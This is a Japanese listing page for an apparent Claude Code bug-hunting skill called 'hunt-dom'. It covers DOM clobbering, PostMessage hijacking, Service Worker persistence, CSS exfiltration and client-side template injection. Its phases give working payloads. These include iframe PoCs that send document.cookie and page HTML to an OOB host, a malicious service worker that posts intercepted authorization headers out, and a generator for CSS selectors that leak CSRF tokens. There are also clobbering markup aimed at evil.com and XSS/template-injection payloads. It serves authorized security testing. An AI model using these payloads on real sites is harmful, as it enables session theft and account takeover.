mcpField
H
hunt-dom

hunt-dom

github.com/elementalsoulsセキュリティ5.3k252 回インストール今日更新
リポジトリ

hunt-dom について

DOM Clobbering、PostMessage、Service Worker、CSS によるデータ外部送信、クライアントサイドテンプレートインジェクションを調べるスキルです。静的な兆候だけで判断せず、ブラウザーでの再現や CSP などの制約確認を重視します。

主な機能

  1. 01DOM Clobbering と DOM-XSS の検査
  2. 02PostMessage の送信元検証テスト
  3. 03Service Worker の登録と永続性の検証
  4. 04CSS 属性値によるデータ外部送信テスト
  5. 05クライアントサイドテンプレートインジェクション検査
  6. 06フレームワークの HTML シンク追跡

活用シーン

  1. 01スクリプトを除去しマークアップを許可するページのテスト
  2. 02ウィンドウ間メッセージ処理のレビュー
  3. 03同一オリジンのスクリプトによる Service Worker 登録の確認
  4. 04CSS インジェクションによるトークン漏えいの評価

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-dom

インストール後、Claude Code で/hunt-domを入力して読み込まれたか確認します。

詳細

HUNT-DOM — DOM クラバリング / PostMessage / Service Worker / CSS 流出

最重要の標的

DOM ベースの攻撃は被害者のブラウザー内で実行されるため、多くの場合、サーバーはペイロードを認識しません。そのため、WAF やサーバー側の入力フィルターは適用されません。PostMessage で送信元を検証していない場合、XSS を使わずにクロスオリジンでトークンを窃取できます。

価値の高い攻撃チェーン:

  • DOM クラバリング → DOM-XSS / 認証バイパス — HTML マークアップのインジェクション(<script> なし)によって、window.config のような JavaScript グローバルを上書きしたり、document.getElementById をシャドーイングしたりします。その後、アプリがその値を URL やコードとして扱うと、スクリプトがフィルターされるマークアップのみのインジェクションでもシンクが実行されます。
  • PostMessage の送信元検証なし → セッション窃取 / DOM-XSS — event.origin を検証せずに event.data を信頼する message ハンドラーがあると、攻撃者は iframe や opener を介して特権アクションを実行したり、シンクに値を渡したりできます。
  • Service Worker の悪用 — 保存型 XSS を介して同一オリジンの SW スクリプト(アップロード、オープンリダイレクト、または対象が配信するパスから到達可能)を登録し、対象範囲内のすべての fetch を傍受して、認証情報を継続的に取得します。
  • CSS 流出 — 属性値セレクター(input[value^="a"])を使うと、JavaScript を一切使わずに CSRF トークン / API キー / nonce を 1 文字ずつ OOB ホストへ漏えいさせられます。
背景 — 本内容の元となった公開研究
  • DOM クラバリング / DOM-Invader — Gareth Heyes と PortSwigger Web Security Academy の「DOM clobbering」トピック。DOM-Invader には専用のクラバリングスキャナーが搭載されています。シンクの分類は Academy の DOM ベースの脆弱性ラボに対応しています。
  • DOMPurify のクラバリングと mXSS バイパス — Michał Bentkowski(Securitum)による、クラバリングとミューテーション XSS を使って HTML サニタイザーをバイパスするブログシリーズ。
  • jQuery の htmlPrefilter における自己終了タグ XSS — CVE-2020-11022 と CVE-2020-11023(jQuery < 3.5.0)。攻撃者が指定した HTML を .html() / .append() に渡すと、実行可能なマークアップに変化します。バンドルされている jQuery のバージョンを grep してください。これは、実際の環境で最もよく見られる DOM-XSS の根本原因のひとつです。
  • CSS による情報流出 — d0nut の「CSS Injection Attacks」 / 「Stealing Data With CSS」の研究(連続した @import の再帰で文字ごとの位置制約を取り除く手法)。

再現した内容だけを引用してください。これらをレポートで「証拠」として貼り付けないでください。実際の対象に対する PoC が証拠です。ここで挙げた研究は、手法の出典を示すものであり、重大度を誇張するためのものではありません。


攻撃対象の手掛かり

# Injection points that allow MARKUP but may strip <script>:
user bio / display name / comment / markdown preview / SVG upload / CMS rich-text

# postMessage endpoints (iframes, SSO widgets, payment frames, chat widgets):
*/sso/*  */embed/*  */widget/*  */oauth/*  /sdk.js  pay/checkout iframes

# Service worker presence:
/sw.js  /service-worker.js  /firebase-messaging-sw.js  /ngsw-worker.js (Angular)

# CSS injection points:
?theme=  custom-css profile field  email-template editor  style= passthrough

フェーズ 1 — DOM クラバリング

# Signal: app reads element IDs/names as if they were JS objects, OR feeds a
# clobberable global into a sink (location, innerHTML, eval, script.src).
# Inject MARKUP (no script) at a sink that lets named/id'd elements through.

# Single-level clobber of window.config:
#   <a id="config" href="https://evil.com">
# Clobber a NON-built-in global the app reads (built-in methods like getElementById can't be shadowed this way):
#   <a id="config"></a><a id="config" name="url">   # window.config.url resolves to an attacker-controlled element/string
# Clobber a string-coerced URL value (anchor toString() == href):
#   <a id="x"></a><a id="x" name="y" href="https://evil.com">   # x.y -> href
# Nested window.a.b.c via form/inputs:
#   <form id="a"><input id="b" name="c" value="clobbered"></form>
# baseURI / relative-URL hijack:
#   <base href="https://evil.com/">      # bends every relative src/href
// Browser console: find globals that are clobberable AND reach a sink.
// A var only matters if the app later concatenates it into a URL/HTML/eval.
const susp = ['config','settings','options','appConfig','init','data','user',
  'token','csrf','nonce','baseUrl','apiUrl','cdn','redirect','next','debug'];
susp.forEach(k => {
  const v = window[k];
  // HTMLCollection / element => already clobbered or clobberable namespace
  if (v && (v instanceof Element || v instanceof HTMLCollection))
    console.log('[CLOBBERED/NAMESPACE]', k, v);
  else if (v !== undefined) console.log('[GLOBAL]', k, '=', v);
});
# Source review: find globals fed into sinks (this is what makes clobbering exploitable)
curl -s "https://$TARGET/" | grep -nE \
  "document\.(getElementById|baseURI)|window\.[A-Za-z_]+\.(url|src|href|html|cmd)|\
location\s*=\s*[A-Za-z_]|\.innerHTML\s*=|eval\(|new Function\(|\.src\s*=\s*[A-Za-z_]"
# DOM-Invader (Burp) → enable "DOM clobbering" — it auto-finds clobberable sources→sinks.

jQuery の観点: バンドルに jQuery < 3.5.0 が含まれている場合、.html() / .append() に渡された攻撃者の HTML が自己変化して実行されます(CVE-2020-11022 / CVE-2020-11023)。バージョンを確認してから、<style><style /><img src=x onerror=alert(document.domain)> をテストしてください。


フェーズ 2 — PostMessage の乗っ取り

バグの種類は 2 つあります。(a) リスナーがクロスオリジンのデータを信頼し、シンクや特権アクションを操作する。(b) 送信側がターゲットオリジンを '*' にして秘密情報をブロードキャストし、どのフレーミングページからも読み取れるようにする。

# Find handlers and flag the ones with NO origin check
grep -rnE "addEventListener\(\s*['\"]message['\"]|onmessage\s*=" recon/$TARGET/ --include="*.js" 2>/dev/null \
  | grep -vE "\.origin\b" 
# Then for each, read +/- 20 lines: where does event.data go? (innerHTML/eval/location/token store)
# Senders that leak: grep for postMessage(<secret>, '*')
grep -rnE "postMessage\([^,]+,\s*['\"]\*['\"]\)" recon/$TARGET/ --include="*.js" 2>/dev/null


<iframe id="f" src="https://TARGET/page-with-listener"></iframe>
<script>
  document.getElementById('f').onload = () => {
    const w = document.getElementById('f').contentWindow;
    // Shape the payload to whatever the handler routes into a sink:
    w.postMessage({type:'navigate', url:'javascript:fetch("https://OOB/x?c="+document.cookie)'}, '*');
    w.postMessage('<img src=x onerror=fetch("https://OOB/dom?h="+btoa(document.body.innerHTML))>', '*');
  };
</script>

<iframe id="f" src="https://TARGET/sso-or-widget" style="display:none"></iframe>
<pre id="out"></pre>
<script>
addEventListener('message', e => {
  // Only count it if e.origin is the TARGET and data carries a secret
  out.textContent += `origin=${e.origin}\ndata=${JSON.stringify(e.data)}\n---\n`;
  if (/token|session|jwt|code=/i.test(JSON.stringify(e.data)))
    fetch('https://OOB/pm?d='+encodeURIComponent(JSON.stringify(e.data))); // OOB proof
});
</script>

誤検出を避けるための確認:一部だけを検証するハンドラー(origin.indexOf('target.com')>-1、endsWith('target.com')、正規表現 target\.com)も依然として脆弱です。target.com.evil.com または eviltarget.com でバイパスしてください。そのような類似ホストから PoC を配信し、メッセージが引き続き届くことを示して確認します。


PostMessage ハンドラーの競合 — 送信元が設定される前にメッセージを先取りする

静的な送信元 / 送信者のチェック以外にも、一部のハンドラーは最初のメッセージを信頼したり、フレームの読み込み中に event.origin がまだ "" / null の状態で読み取ったりします。競合を利用してください。iframe / ポップアップの読み込み中に postMessage を短い間隔で連続送信するか、ナビゲーション前に about:blank から送信して、正規の送信者より先、または厳密な送信元設定が実行される前にメッセージを届かせます。「最初のメッセージ = 信頼できる」と仮定しているハンドラーをすべてテストしてください。開示済み:reports/381356。

フェーズ 3 — Service Worker の悪用

厳守事項(よくある間違いの訂正): SW スクリプトの URL は、register() を呼び出すページと同一オリジンでなければなりません。クロスオリジンのスクリプト URL(https://evil.com/sw.js)は SecurityError をスローします — クロスオリジンの SW スクリプト 登録を有効にするヘッダーは存在しません。Service-Worker-Allowed は、同一オリジンのスクリプトが制御できるスコープを広げるだけで、スクリプトを配置できる場所を広げるものではありません。

したがって、現実的な経路は次のとおりです。SW スクリプトをターゲットオリジン上に配置し(JS として配信されるファイルアップロード、オリジンがスクリプトとして反映するオープンリダイレクト/パス、text/javascript を返す JSON/JSONP エンドポイント、あるいは制御下にある既存のルートなど)、その後、同一オリジンの XSS からそれを登録します。

# Enumerate existing SW + its scope
curl -s "https://$TARGET/" | grep -iE "serviceWorker\.register|navigator\.serviceWorker"
for p in sw.js service-worker.js firebase-messaging-sw.js ngsw-worker.js; do
  curl -s -o /dev/null -w "%{http_code} $p\n" "https://$TARGET/$p"; done
curl -s "https://$TARGET/sw.js" | grep -iE "scope|addEventListener\('fetch'|caches"
# Look for an upload/route that returns Content-Type: text/javascript on YOUR content:
#   curl -s -D- https://$TARGET/uploads/<id> | grep -i content-type
// Runs in same-origin XSS. SCRIPT MUST BE SAME-ORIGIN (e.g. /uploads/evil-sw.js
// served by the target). scope must be <= the directory the script is served from
// unless the response carries Service-Worker-Allowed.
navigator.serviceWorker.register('/uploads/evil-sw.js', {scope: '/'})
  .then(r => fetch('https://OOB/sw-registered?scope='+r.scope))  // OOB proof of registration
  .catch(e => console.log('SW reg failed', e.name));  // SecurityError => wrong origin/scope

// evil-sw.js (served from the TARGET origin):
self.addEventListener('fetch', e => {
  e.respondWith(fetch(e.request.clone()).then(async resp => {
    // Exfil URL + any auth header the page attaches, to OOB
    fetch('https://OOB/sw-intercept', {method:'POST',
      body: JSON.stringify({url: e.request.url,
        auth: e.request.headers.get('authorization')})});
    return resp;
  }));
});

永続性に関する注記:SW はタブを閉じても存続し、スコープ内で次回の訪問時に再実行されます — これがこれを Critical たらしめている点です。永続性を確認するには、すべてのタブを閉じ、オリジンを再度開き、XSS を再発火させることなく新たな OOB ヒットが発生することを示します。


フェーズ 4 — CSS インジェクション / 流出

# Prereq: attacker controls CSS (custom-theme field, style= passthrough, email
# template, markdown CSS). Targets: hidden CSRF input, API key in meta, nonce attr.
# Step 1 confirm injection: inject "color:red" on a known element, observe render.
# Step 2 leak attribute values char-by-char via attribute selectors + url() to OOB.

スコープに関する注意(誇張の訂正): CSS 流出はスクリプト実行をブロックする CSP をバイパスしますが、style-src / img-src / default-src / connect-src が外部オリジンを制限している CSP、または form-action をバイパスするものではありません。img-src 'self' が設定されている場合、url(https://OOB/...) はブロックされます。常にライブの Content-Security-Policy ヘッダーを最初に確認してください。外部リソースのオリジンがロックダウンされている場合、CSS 流出は不可能であり、主張するのではなくその旨を述べるべきです。

/* One request fires only for the matching first char. */
input[name="csrf"][value^="a"] { background: url(https://OOB.example/c?p=0&c=a); }
input[name="csrf"][value^="b"] { background: url(https://OOB.example/c?p=0&c=b); }
/* ...all chars... then chain @import to leak position 1 conditioned on position 0, etc. */
meta[name="csrf-token"][content^="a"] { background: url(https://OOB.example/c?m=a); }
# Generate a single-position CSS exfil set (loop positions with sequential @import in practice)
import string
chars = string.ascii_letters + string.digits + '-_'
attr, oob, pos = 'name="csrf"', 'https://OOB.example/c', 0
print("\n".join(
  f'input[{attr}][value^="{c}"]{{background:url({oob}?p={pos}&c={c})}}' for c in chars))
# Real exfil needs recursion: serve a stylesheet whose @import pulls the next
# position's rules only after the current prefix matched (d0nut technique) —
# this removes the "static input, one char" limitation.

検証:証拠となるのはOOB ヒットであり、レンダリングされた色ではありません。Collaborator / request-bin を立ち上げ、正しい文字ごとに 1 件のヒットが発生して実際のトークンが形成されることを示し、その後そのトークンを状態変更を伴う CSRF リクエストで使用して実証します。OOB コールバックがない場合 = 所見なし(0 バイトの画像や CSP でブロックされたリクエストは、DevTools 上では成功と区別がつきません)。


フェーズ 5 — dangerouslySetInnerHTML / フレームワークのシンク

grep -rnE "dangerouslySetInnerHTML|v-html=|\[innerHTML\]=|\.html\(" recon/$TARGET/ --include="*.js" 2>/dev/null
# In minified Next/React bundles:
curl -s "https://$TARGET/_next/static/chunks/pages/index.js" | grep -oP 'dangerouslySetInnerHTML.{0,120}'
# Trace whether user data reaches it WITHOUT a sanitizer (DOMPurify/sanitize-html).
# If DOMPurify IS present, check for clobbering/mXSS bypass (Bentkowski research) and version.

フェーズ 6 — クライアントサイドテンプレートインジェクション

# Detect framework, then test the {{}} sink in a sandbox-bypass form.
grep -rnE "angular|vue|handlebars|mustache|nunjucks|alpinejs|\bv-|ng-app" recon/$TARGET/ --include="*.js" 2>/dev/null | head
# Probe (server may render, so confirm it's CLIENT-side by viewing rendered DOM, not curl):
#   {{7*7}}  -> 49 in the live DOM (not in raw HTML) => CSTI
# AngularJS sandbox-escape style payloads (version-dependent; older 1.x):
#   {{constructor.constructor('alert(document.domain)')()}}
# Vue: {{_c.constructor('alert(1)')()}}    (varies by Vue 2/3 build)

チェーン表

DOM の所見チェーン先影響
DOM Clobbering → クラバーされた URL が script.src/location に入るマークアップのみのインジェクション下での DOM-XSS高 / 認証バイパス
PostMessage のオリジンチェックなし/弱い(リスナー)データ → innerHTML/eval/location シンクDOM-XSS → ATO
PostMessage targetOrigin:'*' 送信側任意のフレーミングページがトークン/認証コードを読み取るクロスオリジンのトークン窃取
CSS 流出(OOB 確認済み)CSRF トークンを漏洩 → CSRF を発火CSRF チェーン(中以上)
XSS 経由の同一オリジン Service Workerスコープ内のすべての fetch と認証ヘッダーを傍受永続的 ATO(Critical)
dangerouslySetInnerHTML、サニタイザーなし格納型 DOM-XSSXSS → ATO

ツール

# DOM Invader (built into Burp browser) — sources→sinks, postMessage logger, clobbering scanner
# postMessage-tracker — Chrome extension logging cross-window messages
# Burp Collaborator / interactsh / request-bin — MANDATORY OOB sink for CSS-exfil & SW PoCs
# Verify any tool URL before citing it in a report; do not paste unverified repo links.

検証(誤検知を避けるための規律)

リポジトリの基準に従ってください。DevTools で 発火する 手法は、影響が OOB で確認され、状態が証明されるまでは、脆弱性ではありません。

  • DOM Clobbering — 汚染された値が実際にシンクに到達することを示します(XSS ペイロードが実行される、またはアプリが攻撃者の URL から遷移/読み込みを行う)。汚染可能なグローバル変数がシンクに到達しない場合、影響はありません。報告しないでください。
  • PostMessage — チェックが ない のか、不十分 なのかを区別します。よく似たオリジンから不十分なチェックを回避し、OOB で取得します。ノイズの多い message ログだけでは証拠になりません。特権操作またはトークンの窃取を示してください。
  • CSS exfil — 正しい文字ごとの OOB コールバックだけが証拠です。 まず CSP を確認します。img-src/style-src/connect-src/default-src が外部オリジンを制限していれば、成立しません。ブロックされた url() は Network タブ上で成功時と区別できません。Collaborator 側で確認してください。
  • Service Worker — 登録には同一オリジンのスクリプトが必要です。SecurityError が発生した場合は、誤ったオリジンを指定しています。永続性 を証明してください(タブを閉じる → 再度開く → 新たな OOB ヒットがあること、XSS が再発火しないこと)。
  • 全般 — 各テストで一意のマーカー(btoa(domain)+nonce)を使用し、OOB ヒットがバックグラウンドの通信ではなく、あなたのペイロードによるものだと特定できるようにします。これらはクライアント側の問題なので、生の HTML ではなく、レンダリング後の DOM の差分を比較してください。

深刻度:

  • 同一オリジンの Service Worker → 認証情報の永続的な傍受:Critical
  • PostMessage のデータ → DOM-XSS/トークン窃取 → ATO:High–Critical
  • DOM Clobbering → 認証/セッションに到達する DOM-XSS:High
  • CSRF トークンの CSS exfil(OOB で証明済み)→ CSRF:Medium(連鎖する CSRF がアカウントに重大な影響を及ぼす場合は引き上げ)

コメント